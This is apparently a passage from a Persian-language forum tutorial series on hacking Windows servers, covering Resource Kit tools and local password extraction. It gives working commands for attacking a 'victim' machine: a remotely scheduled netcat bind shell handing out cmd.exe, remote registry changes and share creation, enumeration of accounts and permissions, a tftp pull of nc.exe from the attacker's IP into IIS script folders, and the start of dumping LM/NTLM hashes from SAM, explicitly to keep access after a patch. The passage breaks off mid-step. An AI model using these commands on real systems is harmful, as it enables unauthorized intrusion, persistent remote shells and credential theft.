    at \\xxx.xxx.xxx.xxx 11:25P "c:\something\nc -l -p 22 -e cmd.exe"دقت کنيد که هم sc و هم at رو از کامپيوتر خودم اجرا مي*کنم، پس لزومي به upload اون*ها به کامپيوتر قرباني نيست. و نيز اينکه براي اجراي اين دستورات بايد اکانت ما در حد Administrator باشد و نيز NetBIOS روي اون کامپيوتر باز باشد.
    حالا مي*خوام ببينم که آيا اين task به ليست schedule اضافه شده يا نه. مي*نويسم:
    at \\xxx.xxx.xxx.xxxو جواب مي*شنوم:
    Status ID Day Time Command Line------------------------------------------------------------------------------- 1 Today 12:25 PM c:\something\nc -l -p 22 -e cmd.exeاگه بخوام اين task رو از ليست schedule پاک کنم، مي*نويسم:
    at \\xxx.xxx.xxx.xxx 1 /deleteدليل اينکه از عدد 1 استفاده کردم، اين است که در ليستي که در بالا بدست اومد، ID براي اين task عدد 1 بود.
    يک نکته در مورد sc و at اين است که اين دستورات رو ميشه جوري اجرا کرد که بجاي اينکه به صورت remote اجرا شوند، به صورت local اجرا شوند. براي اين*کار در تمام دستورات بالا عبارت xxx.xxx.xxx.xxx\\ رو حذف کنيد و نيز مسلم است که نيازي به session نخواهد بود و بايد هر دو فايل در سرور قرباني کپي شوند. اين گونه استفاده از اين دو دستور معمولا پيش نمي*آيد. زيرا فلسفه استفاده از آنها در مواقعي است که شلي در سرور نداريم. حالا که شل نيست، چطوري دستورات مربوطه رو اجرا کنيم ؟!

    ۳- soon :
    همان کار at رو انجام مي*ده ولي ديگه نيازي نيست که زمان رو در سرور بدست بياريم. زيرا اين ابزار يک کار خاص رو چند ثانيه بعد براي ما انجام ميده. مثلا اگه بخوايم به صورت remote و توسط اين ابزار مثلا ۱۰ ثانيه بعد دستور nc -l -p 22 -e cmd.exe رو روي سرور قرباني اجرا کنيم، مي*نويسيم:
    soon \\xxx.xxx.xxx.xxx 10 "nc -l -p 22 -e cmd.exe"همانند at ، اين دستور هم مي*تونه به صورت لوکال اجرا بشه ( خودتون مي*دونيد چطوري !* )

    login کرده*ايم.

    ب- ابزارهاي کار با رجيستري ويندوز:

    ۴- reg :
    اين ابزار براي تغيير دادن رجيستري در ويندوز به کار ميره. همون*طور که اطلاع داريد وقتي پشت يک کامپيوتر نشسته*ايد ( يا اينکه يک remote control گرافيکي در اختيار داريد ) مي*تونيد با اجراي برنامه regedit ( مثلا با تايپ کردن اون در Run ويندوز ) به رجيستري ويندوز به صورت گرافيکي دسترسي داشته باشيد. ولي اگه بخواين به صورت متني رجيستري رو تغيير بديد، با ابزارهاي خود ويندوز ممکن نيست و اين باعث ميشه مجبور بشيم از ابزاري به نام reg از NTRK بهره گيريم. اينو بگم که registry ويندوز حاوي اطلاعات حساسي است. اگه دانش کافي راجع بهش نداريد، بهتره هيچ تغييري اعمال نکنيد.
    reg هم مثل sc و at هم به صورت لوکال و هم به صورت remote قابل استفاده است. اگه در حالت remote مي*خواين استفاده کنيد، حتما بايد يک netbios session تشکيل بديد که در سطح دسترسي Administrator باشه. معمولا از اين ابزار براي دو منظور استفاده مي*کنيم: اضافه کردن و پاک کردن کليد (key) و ورودي (entry). اگه بخوايم خيلي قضيه رو ساده بگيريم، کليدها مثل فولدر است و ورودي*ها مثل فايل. مثلا اگه بخوايم در کليد HKLM\Software\MyCo\Araz يک ورودي به صورت Point=20.00 را اضافه کنيم و نيز اگه به صورت لوکال باشيم، مي*نويسيم:
    REG ADD HKLM\Software\MyCo\Araz\Point=20.00و اگه بخوايم همين* کارو در کامپيوتر قرباني به صورت remote انجام بديم، مي*نويسيم:
    REG ADD HKLM\Software\MyCo\Araz\Point=20.00 \\xxx.xxx.xxx.xxxحالا اکه بخوام يک همين کليد رو پاک کنم، در حالت لوکال مي*نويسم:
    REG DELETE HKLM\Software\MyCo\Araz\ /FORCEو در حالت remote مي*نويسم:
    REG DELETE HKLM\Software\MyCo\Araz\ \\xxx.xxx.xxx.xxx /FORCEتغيير دادن يک ورودي هم دقيقا مثل اضافه کردن اونه. فقط به جاي reg add از reg update استفاده مي*کنيم.

    ۵- regini :
    کارش مثل reg است. فقط کليدها و ورودي*هايي که مي*خواهيم اضافه کنيم رو در يک فايل با پسوند ini قرار مي*ديم و اين ابزار کار مورد نظر رو انجام ميده. مثلا اگه همان کار بالايي رو بخواهيم با regini انجام بديم، يک فايل متني باز مي*کنيم به نام مثلا Araz.ini و داخل فايل مي*نويسيم:
    HKLM\Software\MyCo\Araz Point = REG_SZ 20.00و بعد مي*نويسم:
    regini -m \\xxx.xxx.xxx.xxx Araz.iniاين دستور معمولا موقعي به کار ميره که چند entry (ورودي) رو مي*خواهيم به يک key (کليد) اضافه کنيم. در اين حالت اگه بخوايم اين کارو توسط reg انجام بديم، چند بار بايد دستور رو تکرار کنيم.

    پ- ابزار تشخيص نوع ويندوز :

    ۶- gettype :
    ابزار بسيار جالبي است که بايد به صورت لوکال روي سرور قرباني اجرا شود. با اجراي اين دستور مشخص مي*شود که ويندوز NT قرباني، از نوع Windows Server است يا Windows Workstation و اينکه Domain Controller است يا نه و... من روي ويندوز ۲۰۰۰ خودم نوشتم:
    gettype /vو جواب شنيدم:
    Windows NT [Enterprise/Terminal] Server Non-Domain Controllerت- ابزارهاي کار با اکانت*ها :

    ۷- whoami :
    فرض کنيد که به طريقي يک shell در کامپيوتر قرباني بدست آورده*ايم. حالا مي*خواهيم ببينيم که دسترسي ما در چه حدي است ( به*عبارت درست*تر با چه اکانتي login شده*ايم ). بدين منظور از اين نرم*افزار استفاده مي کنيم. whoami بايد به صورت لوکال روي قرباني اجرا شود. يعني بايد اين فايل رو به کامپيوتر هدف ارسال کرده و همون*جا اجرا کنيم. مي*نويسيم:
    whoamiو مثلا جواب مي*شنويم:
    [Group 1] = "Everyone"[Group 2] = "LOCAL"[Group 3] = "IUSR_xxxx-yyyy",...در اين حالت، بالاترين اکانتي ( از نظر سطح اختيارات ) که ليست شود، اکانتي است که ما با اون بالا اومديم.

    ۸- local :
    همون*طور که در بالا گفتم، توسط دستور net localgroup مي*تونيم ليستي از اکانت*هاي مربوط به يک گروه رو بدست بياريم. ولي آن دستور بايد به صورت local اجرا مي*شد تا جواب مي*داد. اگه بخوايم به صورت remote همين*کار رو انجام بديم، بايد از ابزار local.exe استفاده کنيم. مثلا اگه session مربوط به netbios رو تشکيل داده باشم و بخوام بدونم در گروه محلي Administrators چه اکانت*هايي هست، مي*نويسم:
    local Administrators \\xxx.xxx.xxx.xxx۹- showgrps :
    ابزار بسيار خوبي است که بايد به صورت لوکال استفاده شود. مي*شه گفت که يه*جورايي تکميل whoami است. به کمک اين ابزار مي*تونيم هم کشف کنيم که اکانتي که باهاش وارد شديم عضو چه گروه*هاي محلي است ( واينکه اسم اکانت ما چيست ) و هم اينکه همين* اطلاعات رو راجع به هر اکانتي از سيستم* که بخوايم بدست بياريم.
    براي اينکه بدونم اکانتي که الان باهاش بالا اومدم اسمش چيست و در چه گروه*هايي عضو است، مي*نويسم:
    showgrpsو جواب مي*شنوم:
    User: [computer-name\Administrator], is a member of: computer-name\Administrators \Everyoneمشخص مي*شه که اسم اکانت: Administrator است که در دو گروه Administrators و Everyone عضو است.
    حالا اگه بخوام بدونم که اکانتي به اسم guest در چه گروه*هاي محلي شرکت دارد، مي*نويسم:
    showgrps guestو جواب مي*شنوم:
    User: [[computer-name\guest], is a member of: \Everyone [computer-name\Guestsوقتي مي*خواهيم بدونيم که فلان اکانت متعلق به چه گروه*هايي است، اين*کار توسط دستور net user هم قابل انجام است ( در بالا بحث شد). ولي اگه بخوايم بدونيم که خودمون با چه اکانتي بالا اومديم، اين*کار با net user قابل انجام نيست.

    ۱۰- showmbrs :
    در کاربردي که فعلا مد نظر ماست، اين ابزار همان کار دستور net localgroups رو انجام مي*ده. يعني برخلاف ابزار local.exe ، اين ابزار بايد به صورت محلي و لوکال استفاده بشه. کاربردش هم که واضحه و مي*گه که در فلان گروه محلي، چه اکانت*هايي هست. مثلا اگه بخوام بدونم در گروه Administrators چه اکانت*هايي هست ( يعني چه اکانت*هايي دسترسي به سيستم در سطح Admin رو دارند) مي*نويسم:
    showmbrs Administratorsث- ابزارهاي بررسي مجوزهاي NTFS:

    ۱۱- perms :
    يک ابزار فوق*العاده و حلال مشکلات! اول کار هم بگم که بايد به صورت لوکال استعمال بشه!! فرض کنيد که شما با يک اکانت به سيستم وارد شده*ايد و حالا مي*خواهيد ببينيد که اولا: آيا يک درايو خاص به صورت FAT32 پارتيشن*بندي شده است يا NTFS ( اين نکته مهمي* است زيرا اگه FAT32 باشه، ديگه کار ما بسيار راحت خواهد بود چون مجوزي در کار نيست ) و ثانيا: اگه به صورت NTFS است، فلان فولدر براي فلان يوزر در چه حدي قابل دسترس است ( يعني اينکه براي فلان يوزر، فلان فولدر چه مجوزي دارد).
    اولا: آيا مثلا درايو C به صورت NTFS ست شده است يا FAT32 ؟ براي اين منظور اسم يک اکانت از گروه Admin ( مثلا Administrator ) رو انتخاب مي*کنم و حالا دستور زير رو اجرا مي*کنم:
    perms administrator c:اگه جواب زير رو بشنوم، يعني FAT32 است:
    c:\ perms: #-------اگر هر جواب ديگه*اي مي*اومد، مي*شد: NTFS
    ثانيا: فرض کنيد که حالا مثلا درايو D به صورت NTFS باشد و من هم مثلا با اکانت Guest وارد شده*ام. مي*خواهم ببينم مثلا فولدر wwwroot که در اين درايو هست، چه حد در دسترس من از نظر مجوزهاي NTFS است؟ مي*نويسم:
    perms guest d:\wwwrootو مثلا جواب مي*شنوم:
    d:\wwwroot\ perms: No Accessاين يعني هيچ دسترسي به اون براي اکانت guest وجود ندارد. اگه مي*اومد:
    d:\wwwroot\ perms: #RWXDPOAبايد عبارت RWXDPOA# تفسير بشه. هر کدام از اين حرف*ها اين معني رو مي*ده:
    R ReadW WriteX ExecuteD DeleteP Change PermissionsO Take OwnershipA General All- No Access* The specified user is the owner of the file or directory.# A group the user is a member of owns the file or directory.? The user's access permisssions can not be determined.با اين تفاسير مي*تونيد ببينيد که مثلا اکانت guest چه مجوزهايي داره. کافي است تک تک خروف رو با جدول بالا تطبيق بديد. مثلا در مثال بالا هم اجازه Read هست ( چون حرف R داريم ) و ...

    ۱۲- showacls :
    اول ACL يا Access Control List قابليتي است که NTFS استفاده مي*کند تا مجوزها رو تنظيم کند. ثانيا ACE يا Access Control Entries اظلاعاتي است که مجوز رو کنترل مي*کنه تا اکانت*هاي خاص فقط مجوزهاي خاص براي کار با فولدر خاصي بگيرند.
    اين ابزار يه چيزي تو مايه*هاي همون perms.exe است که گفتم ولي با اين تفاوت که وقتي يه درايو يا يک فولدر رو مشخص مي*کنم، مي*تونم تنظيم کنم که تمام زيرشاخه*هاي اون رو هم از نظر مجوزها بررسي بکنه. مثلا اگه بخوام فولدر j:\wwwroot رو از نظر مجوزها براي مثلا guest چک کنم، مي*نويسم:
    showacls /s /u:guest j:\wwwroot\کليد s/ مشخص مي*کنه که زيرشاخه*ها رو هم مي*خوام تست کنم. اگه اونو حذف کنم، فقط مجوزهاي فولدر مشخص شده بيان خواهد شد. حالا اگه جواب بياد:
    Error: Volume type incorrect [FAT32]يعني که اون درايو به صورت FAT32 فرمت شده پس بررسي مجوزها محلي از اعراب نداره! ولي اگه NTFS باشه مثلا مياد:
    User: [\guest]has the following access to directory [j:\wwwroot\]:j:\wwwroot\j:\wwwrootj:\wwwroot\ali NT AUTHORITY\SYSTEM Read [RX] Everyone Read [RX] NT AUTHORITY\SYSTEM Read [RX] CREATOR GROUP Read [RX] BUILTIN\Administrators Change [RWXD] CREATOR OWNER Change [RWXD],...دقت کنيد که فولدر خيلي پر زيرشاخه رو انتخاب نکنيد که جواب**ها بقدري زياد ميشه که حتي نمي*تونيد بخونيد. براي تفسير از جدول زير استفاده کنيد:
    R GENERIC_READW GENERIC_WRITEX GENERIC_EXECUTE )D DELETEA GENERIC_ALLd FILE_READ_DATA (directory)l FILE_READ_DATA (file)s SYNCHRONIZEr FILE_READ_DATAw FILE_WRITE_DATAa FILE_APPEND_DATArE FILE_READ_EAwE FILE_WRITE_EAfx FILE_EXECUTEج- ابزارهاي کار با share ها :

    ۱۳- rmtshare :
    فرض کنيد که يک session از netbios با اکانتي با سطح Admin ايجاد کرده*ايم. در اين حالت به کمک اين ابزار مي*تونيم به صورت remote مجموعه share ها رو روي سيستم قرباني کنترل کنيم. مثلا يک share اضافه کنيم يا يک share رو پاک کنيم. مثلا اگه بخوام در کامپيوتر قرباني، فولدر c:\info رو واسه اکانتي به اسم guest به صورت فقط خواندني ( يعني فقط Read ) بيام و share کنم و اين share به اسم mydata باشه، بايد بنويسم:
    rmtshare \\xxx.xxx.xxx.xxx\mydata=c:\info /GRANT guest:readاگه مي*خواستم به*جاي فقط خواندني، اجازه تغيير هم صادر کنم، بجاي read مي*شد: Change حالا مي*خوام همين share رو پاک کنم. مي*نويسم:
    rmtshare \\xxx.xxx.xxx.xxx\mydata /DELETE۱۴- netwatch :
    يک ابزار گرافيکي است که کار با share ها و مديريت اون*ها رو راحت مي*کنه. خيلي کار باهاش ساده*است و نيازي به توضيح نداره.

    ۱۵- netcmd :
    فرض کنيد که شما الان يک netbios session با قرباني تشکيل داده*ايد. اگه يادتون باشه مي*تونستيم به کمک net use يک رايو مجازي براي کار با اون ايجاد کنيم. همين کار رو ميشه با اين ابزار انجام داد. مثلا اگه اسم share باشه: Araz مي*نويسيم:
    netcmd \\xxx.xxx.xxx.xxx\Araz۱۶- srvcheck :
    اين ابزار به ما کمک مي*کند که ببينيم که روي سرور چه share هايي هست و چه کساني به اون دسترسي دارند. کاربرد دستور و تفسير نتايج بسيار ساده است، مي*نويسيم:
    srvcheck \\xxx.xxx.xxx.xxxدقت کنيد که به*صورت remote کار مي*کنيم و نياز به يک netbios session داريم.

    چ- ساير ابزارهاي مهم :

    در درس بعدي بررسي خواهد شد. ضمنا sc هم به صورت مفصل*تر بحث خواهد شد.


    Gold_ سپاسگزاری کرده است.

  5. #5
    نام حقيقي: پاشا

    عضو غیر فعال
    تاریخ عضویت
    Jun 2007
    نوشته
    12
    سپاسگزاری شده
    13
    سپاسگزاری کرده
    2

    ضروريات ويندوز سرور براي هکرها - قسمت چهارم

    این درس را میبیند؟ شما را در کرک کردن حرفه ایی میکند با اینکه اکنون نرم افزارهایی هستند که شما به صورت لوکال در عرض 20 ثانیه پسورد تمامی یوزرها را بیرون میکشید ( مثل ophcrack ) ولی آن کجا هو این کجا :
    سریعا باید حرفه ایی شده فرصت کم است

    يادآوري

    اين مقاله ادامه مقاله قبلي*ه! در اين درس نيز ما با يک سرور ويندوز به صورت يک کامپيوتر منفرد سروکار داريم و توجهي به کامپيوترهاي متصل به اون در شبکه*اي که هست نداريم.


    - فولدرهايي از ويندوز با مجوز اجرا

    فرض کنيد که الان از طريق روشي توانستيد مجوز ايجاد يا کپي کردن فايلي رو در تعدادي از فولدرهاي ويندوز قرباني بدست بياوريد. در اين گونه موارد هدف اينه که فولدري رو پيدا کنيم که براي ما با مجوزي که الان داريم (مثلا guest )، اجازه اجرا ( execute ) رو بده. دليلش مشخصه، مثلا اگه الان با guest وارد شديد، ممکن است بخواهيد که به سطح Admin برسيد. اين کار ممکنه با دستورات خود ويندوز ممکن نباشه و شما مجبور شويد که يه فايل اجرايي رو به کامپيوتر قرباني کپي کنيد تا با اجراي اون شما از guest به Admin برسيد. حالا اگه اين فايل خلافکار! رو به فولدري کپي کنيد که مجوز اجرا رو براي اکانت شما نداشته باشه، عملا نمي*تونيد از اون فايل استفاده کنيد. افتاد؟
    درس قبلي يک سري ابزار از NTRK معرفي کردم که اسمشون ابزارهاي بررسي مجوزهاي NTFS بود ( از جمله perms و showacls ). از اين*ها هم در اين مرحله نمي*تونيد استفاده کنيد. اگه گفتيد چرا؟ درسته! چون اين*ها هم به هر حال يک سري ابزار و نرم*افزار خارجي هستند ( يعني به طور پيش*فرض در خود ويندوز وجود ندارند ) و از طرف ديگه ابزارهاي لوکال هستند ( يعني براي استفاده بايد به کامپيوتر قرباني کپي شوند ) و واضحه که بايد به فولدري کپي بشوند که مجوز اجرا داشته باشه و چون من نمي*دونم کدوم فولدر مجوز اجرا داره، نمي*تونم از اين*ها استفاده کنم! ( اين ابزارها هم کاربردهايي دارند که گاه خيلي مهمه، عجله نکنيد! )
    خوب حالا من چکار مي*تونم بکنم؟
    روش اول کوشش و خطاست. اين بدترين راه و گاه موثرترين راه حل* است! يعني مثلا يه فايل کوچک رو تو فولدرهاي مختلف کپي کنم و ببينم که کدومشو مي*تونم اجرا کنم ( يعني کدوم فولدر به اون فايل اجازه اجرا مي*ده ). اين روش نيازي به توضيح نداره چون ايراني*ها خداي اين کاران
    روش بهتر اينه که من با دانشي که دارم بدونم که معمولا چه فولدرهايي مجوز اجرا رو به من مي*دهند. که الان مي*خوام اينو بگم:

    ۱- اگه با يک باگ مربوط به IIS به شل دست يافته*ايد، معمولا يکي از اينها رو انتخاب کنيد:
    ?:\inetpub\scripts?:\program files\common files\system\msadcمنظور از (؟) در موارد بالا اينه که ممکنه که فولدر مربوطه در هر درايوي باشه ( مثلا درايو C يا D و...) و ممکنه لازم باشه يه کم بگرديد که پيداش کنيد. نکته بعدي اينه که فولدرهايي که گفتم اين اجازه رو مي*دن که هم فايل اجرايي ( با پسوند exe ) و هم اسکريپت*ها ( مثل asp و ... ) در اونا بذاريم و اجرا کنيم. دقت کنيد که خيلي کارها رو ميشه بدون کمک فايل اجرايي ( فايل خرابکار ) انجام داد. مثلا اگه قرار باشه صفحه اول سايتي عوض بشه، اين کار رو گاه ميشه با اسکريپت*ها هم انجام داد. بنابراين اين پايين ليست فوادرهايي رو براتون مي*گم که فقط اجازه اجراي اسکريپت رو مي*دهند ( نه اجراي فايل اجرايي! ) :
    ?:\winnt\help\iishelp?:\inetpub\iissamples%SystemRoot%\System32\inetsrv\iisadmin%SystemRoot%\System32\inetsrv\iisadmpwd%SystemRoot%\web\printersتوضيح لازم اينه که وقتي مي*گم %SystemRoot% منظور همون فولدري است که ويندوز در اون نصب شده، بنابراين مي*تونه مثلا C:\WINNT باشه يا H:\WINDOWS باشه و يا هر چيز ديگه. ما از همون عبارت %SystemRoot% که استفاده کنيم خودش ما رو مي*بره همونجا !
    حالا چرا باگ*هاي IIS رو جدا کردم؟ دليلش اينه که بعضي از اين باگ*ها وقتي ازشون سوءاستفاده بشه، به ما اختياراتي در حد IUSR_xxxxx-yyyyy ميده ( که قبل گفتم اين چيه ) و اختيارات در حد Admin نيست. بنابراين از اين فولدرهاي خاص استفاده کرديم.

    ۲- اگه با باگ*هاي غير از IIS به شل دست پيدا کرديد، انتخاب فولدر درست معمولا بستگي به اين داره که چه سرويس ( و پورتي ) رو exploit کرده*ايم و به چه اکانتي دست پيدا کرده*ايم. اگه دسترسي ما کامل باشه ( يعني در حد Admin باشه ) بهترين فولدر براي قرار دادن و اجراي فايل*هاي اجرايي اين فولدرهاست:
    %SystemRoot%%SystemRoot%\system32اگه با اکانتي که بدست آورده*ايد به اين فولدرها دسترسي نداريد ( مثلا از طريق NetBIOS با يک اکانت محدود وارد شده*ايد ) بهتره همون روش ايراني! ( کوشش و خطا ) رو پيش بگيريد.

    آخرين نکته*اي که بايد اينجا بگم، اينه که وقتي مي*خواين از طريق tftp فايل اجرايي رو بفرستيد روي اون فولدر خاص، بايد آدرس فولدر رو هم آخر دستور مربوط به tftp بنويسيد. مثلا اگر IP ما در اين لحظه 217.66.198.116 باشه، و بخوام فايل nc.exe رو بفرستم به فولدر c:\inetpub\scripts بايد بنويسم:
    tftp -i 217.66.198.116 GET nc.exe c:\interpub\scripts\nc.exeيعني وقتي سرور قرباني فايل رو مي*گيره، اونو تو اين فولدر که مشخص کردم قرار بده ( و نه فولدر فعلي ).


    - بدست آوردن username و password ها در حالت دسترسي local

    تاکيد مي*کنم که بحث ما در اينجا پسوردهاي Active Directory نيست بلکه پسوردهاي لوکال خود کامپيوتر است. فرض کنيد که من الان يه فولدر پيدا کرده*ام که به من اجازه اجراي فايل*هايي که داخلش فرستادم رو مي*ده. ( يعني همون* چيزي که بالا بهش اشاره کردم ). من ممکنه بخوام پسورد*هاي اين ويندوز سرور رو پيدا کنم تا اگه احيانا فردا پس*فردا اون باگي که انگولکش کردم، توسط مسوول سرور برطرف شد، دستم به يه جايي بند باشه!! يا اينکه بخوام حتما پسورد اکانت خاصي مثل Administrator رو بدست بيارم که خيلي مهمه. براي کشف پسوردها اول بايد بدونيد که پسورد فلان اکانت، چطوري و کجا در ويندوز نگهداري ميشه و چه مراحلي طي ميشه تا يه پسورد از شکل اوليه يعني plain-text ( يعني خود پسوردي که واسه اکانت انتخاب شده ) تبديل بشه به يه پسورد hash شده ( يعني رمز بشه ) و بعد در ويندوز ذخيره بشود:

    ۱- پسورد بايد رمز شود و پسورد به صورت hash شده در آيد. ويندوز از دو روش براي hash استفاده مي*کند:
    الف) LanMananager Hash يا LANMAN Hash يا LMhash :
    اين روش hash کردن روشي*است که در ويندوزهاي قديمي ( قبل از NT هاي جديد يعني در 3.1 ، 95، 98، Me و NT هاي قديمي ) استفاده مي*شده است و هنوز هم ساپورت مي*شود. اين روش hash کردن پسورد اولين بار توسط IBM استفاده شد ولي مشکلات امنيتي زيادي داره ( يه بار مايکروسافت خواست خودش گاف نده، ايندفه با گاف IBM رفت تو چاه! ). در اين روش hash کردن حداکثر طول پسورد مي*تونه ۱۴ حرف باشه. يه مثال مي*زنم. فرض کنيد که قرار پسوردي به اسم thepassword ذخيره بشه، چون طول اين پسورد از ۱۴ حرف کمتره، انقدر 0 به آخر پسورد اضافه ميشه که ۱۴ حرفي بشه ( منظور از 0 در اينجا کارکتر عددي صفر نيست بلکه منظور چيزي است که در برنامه*نويسي بهش NULL مي*گيم و ما براي سادگي کار اونو با همون کاراکتر 0 نشون داده*ايم ) ، يعني پسورد ميشه: thepassword000 حالا اتفاقي که مي*افته اينه که حروف کوچک انگليسي به حروف بزرگ تبديل ميشه، يعني حالا داريم: THEPASSWORD000 و بعد اين رشته به دو رشته ۷ کاراکتري تقسيم ميشه، يعني: THEPASS و WORD000 بعد مي*آد و هر کدوم رو با يه الگوريتم يک طرفه ( يعني غير قابل برگشت ) رمز مي*کنه بعد کنار هم مي*چينه و يه رشته ۳۲ کاراکتري ( به صورت Hex ) نتيجش مي*شه، مثلا پسورد مورد نظر ما به صورت 7C349F26F362950F05382367BF6677B7 در مياد. اين ميشه اولين روش hash که بهش LM مي*گويند. مشکلات اين روش ذخيره سازي اينه که اولا طول پسورد حداکثر ۱۴ حرف*ه، ثانيا اين روش case insensive ه يعني حروف بزرگ و کوچک فرقي نداره، ثالثا چون پسورد به دو قسمت ۷ تايي تقسيم ميشه، مي*شه هر کدوم رو به تنهايي crack کرد، رابعا مشکلي به دليل نبودن salt هست در اين روش که در آخر مقاله بحث مي*کنم که چيه.
    ب) روش NT hash يا NTLM hash:
    روش بهتري است، در اين روش از الگويتم MD4 استفاده ميشه ( مثل اکثر يونيکس*ها ) و نتيجه باز هم يه رشته ۳۲ کاراکتري است. تمام موارد ايرادي که در بالا بود ( يعني اولا و ثانيا و ثالثا ) حل شده ولي مشکل رابعا هنوز هم هست!
    حالا اين رابعا ( نبودن salt ) چي* هست؟ از قديم الايام معلوم بوده که مايکروسافت بعد از hash کردن پسوردها از salt (نمک!) استفاده نمي*کنه. اين باعث ميشه که اگه دو تا کامپيوتر باشه که در هر دو پسورد اکانت guest مثلا thepassword باشه (يعني دو کامپيوتر مختلف از يک پسورد واحد استفاده کنند)،* نتيجه hash اون در هر دو يکسان بشه. يعني اينکه وقتي يه رشته خاص رمز بشه، نتيجه نهايي هميشه يکسان است ( يعني هميشه LM ها شبيه به هم و NT ها هم شبيه به هم خواهند بود). و اين به نفع هکره در سيستم*هاي شبه*يونيکس، به دليل اضافه کردن نمک! ، 4096 جور مختلف مي*شوند و اين باعث ميشه، کار کرک کردن به همين اندازه بيشتر بشه.
    نکته بعدي که هست اينه که چرا با وجود اينکه روش NTLM از LM بهتره، چرا هنوز هم LM ساپورت ميشه؟ دليلش اينه که براي حفظ سازگاري هنوز هم استفاده مي*شه. مثلا اگه قرار باشه يه ويندوز 98 به يه ويندوز 2000 کانکت بشه، بايد 2000 بتونه هويت*سنجي و اتصال رو انجام بده. اگه همه ويندوزها در شبکه مدل بالا! باشند، ميشه LM رو غير فعال کرد.

    ۲- حالا ما هم نتيجه hash شده پسوردها رو داريم، کجا بايد اينها ذخيره بشوند:
    الف) فايل SAM :
    ويندوز سرورها براي ذخيره کردن اکانت*هاي لوکال از فايلي به اسم SAM استفاده مي*کنند. ( ويندوز*هاي غير NT ها از فايل*هاي PWL استفاده مي*کردند). فايل اصلي SAM اينجاست:
    %SystemRoot%\System32\Config\مي*تونيد نگاه کنيد تا مطمئن بشيد که هست! يه مطلبي که هست اينه که وقتي با ويندوز بالا اومديد، فايل SAM مربوط به اون به صورت protected يا حفاظت شده است. در نتيجه نمي*تونيد همين*طوري مثلا کپي کنيد يا بخونيد. دقت کنيد که فايل SAM هيچ*گونه پسوندي ندارد.
    يه مورد ديگه هم هست که بايد دقت کنيد، گاهي يک نسخه compressed از فايل SAM به اسم _.SAM در دايرکتوري SystemRoot%\repair% وجود دارد که از اون هم ميشه استفاده کرد. ( اين فايل موقع backup گيري از اطلاعات سيستم توسط ابزار rdisk ايجاد مي*شود ) جزئياتش مهم نيست، فقط چک کنيد ببينيد که همچين فايلي اونجا هست يا نه حتي گاهي مي*تونيد يه کپي ( غير فشرده يا غير compressed رو ) در اين فولدر پيدا کنيد .
    ب) رجيستري:
    يک سري کليد و ورودي در رجيستري هست که اگرچه کاربرد زيادي براي سيستم*عامل دارند ولي به صورت hidden هستند ( يعني به راحتي قابل مشاهده و تغييير نيستند). از جمله اين کليدها، اون*هايي هستند که اطلاعاتي شبيه به SAM رو در خود دارند ( يعني LM hash, username و NT hash ). که براي يک هکر ارزشمند است.
    ج) Active Directory:
    در شبکه*اي از ويندوز سرورها، AD براي نگهداري پسوردهاي دومين و گروه*هاي global به کار مي*رود ( البته در ويندوز ۲۰۰۰، نه در NT 4.0 ، زيرا در NT 4.0 در هر حال طرف حساب ما يا SAM است يا registery ). فعلي بحث ما اين چيزها نيست!

    يه مطلبي هست راجع به SYSKEY که بايد توضيح بدم. يک تکنولوژي! جديد است که فکر کنم از SP2 ( يعني Service patch شماره ۲ ) از ويندوز NT 4.0 به بعد اعمال مي*شود و در نتيجه در مورد ويندوز ۲۰۰۰ هم ( با يا بدون سرويس پچ ) وجود دارد. کارش هم اين است که پسوردهاي ذخيره شده ( در رجيستري ) را يه بار ديگه رمز مي*کند تا امنيتش زياد شود.


    خوب حالا برسيم به کار عملي!
    من کل عمليات تغيير و ذخيره پسورد در ويندوز سرورها رو در ۲ مورد خلاصه کردم که خونديد. حالا ما بايد عمل عکس رو انجام بديم تا به پسورد برسيم. در نتيجه

    ۱- اولين کار ما اينه که بتونيم از فايل SAM و يا از رجيستري، username ها و LM ها و NTLM ها رو در بياريم. به اين کار به طور کلي DUMP کردن يا Extract کردن مي*گويند. يه مثال مي*زنم که خوب متوجه بشين. فرض کنيد که اکانتي دارم به اسم guest که پسورد اون thepassword است. چيزي که مي*خوام با dump کردن بهش برسم، چيزي مثل اينه:
    guest:1011:7C349F26F362950F05382367BF6677B7:9D5DF8 F2A588405949DE0917CC19F8DD:::البته به تعداد اکانت*هاي محلي که در کامپيوتر قرباني وجود دارد، يه سطر داده مثل اين بالايي هست. اينجا چهار داده مهم داريم، اولي اسم اکانت است، بعد يه دونقطه ( داريم و بعد يه عدد که نشون مي*ده اين اکانت يازدهيم اکانتي است که در اين کامپيوتر ايجاد شده است ( اولين اکانت عدد ۱۰۰۰ دارد )، بعد دوباره دونقطه داريم، بعد LM hash رو داريم يعني 7C349F26F362950F05382367BF6677B7 بعد دوباره دونقطه و بعد NTLM hash يعني 9D5DF8F2A588405949DE0917CC19F8DD
    يه مطلب فوق**العاده مهم اينجا هست که بايد بگم، اونم اينه که در تمام مواردي که مي*خواهيم DUMP کنيم، بايد اولا لوکال باشيم ( يعني بايد ابزار کار رو به کامپيوتر هدف بفرستيم و اونجا به کمک يه shell اونو اجرا کنيم ) و ثانيا بايد اختيارات ما در حد Administrator باشه ( يعني در واقع بالاترين سطح اختيارات رو داشته باشيم ). پس همه اين موارد واسه اينه که ما بتونيم با بدست آوردن پسورد اکانت*هاي مختلف بتونيم مدت بقاي خودمون رو در اين سرور افزايش بديم. خوب حالا وقتشه که شروع کنيم:

    الف) Dump کردن از فايل SAM :
    اين کار رو مي*تونيم به دو روش انجام بديم.
    + روش اول:
    در اين روش بايد يه کپي از فايل SAM رو گير بياريم. اين نسخه رو به هر روشي ميشه گير آورد مهم اينه که اين فايل SAM نمي*تونه خود فايلي باشه که در محل اصلي به صورت محافظت شده نگهداري مي*شه، بلکه بايد يه کپي از اون باشه. روش*هاي زيادي واسه بدست آوردن اين فايل هست:
    » مي*تونيد به کمک يک فلاپي درايو bootable مربوط به ويندوز ۹۸ و به کمک ابزاري به اسم ntfsdos اين کار رو انجام بديم. ( به درد ما نمي*خوره چون ما دسترسي فيزيکي به سرور نداريم ) در اين حالت ديگه اون فايل SAM اصلي محافظت شده نيست چون با سيستم*عامل ديگري بالا اومديم و مي*تونيم اون فايل اصلي رو يه نسخه اش کپي کنيم.
    » مي*تونيم از فايل backup شده SAM يعني _.SAM که در آدرس SystemRoot%\repair\% بود استفاده کنيم. به اين ترتيب که اين فايل که هيچ محافظتي ازش نميشه رو به يه جايي کپي کنيم و بعد دستور زير رو اجرا کنيم:
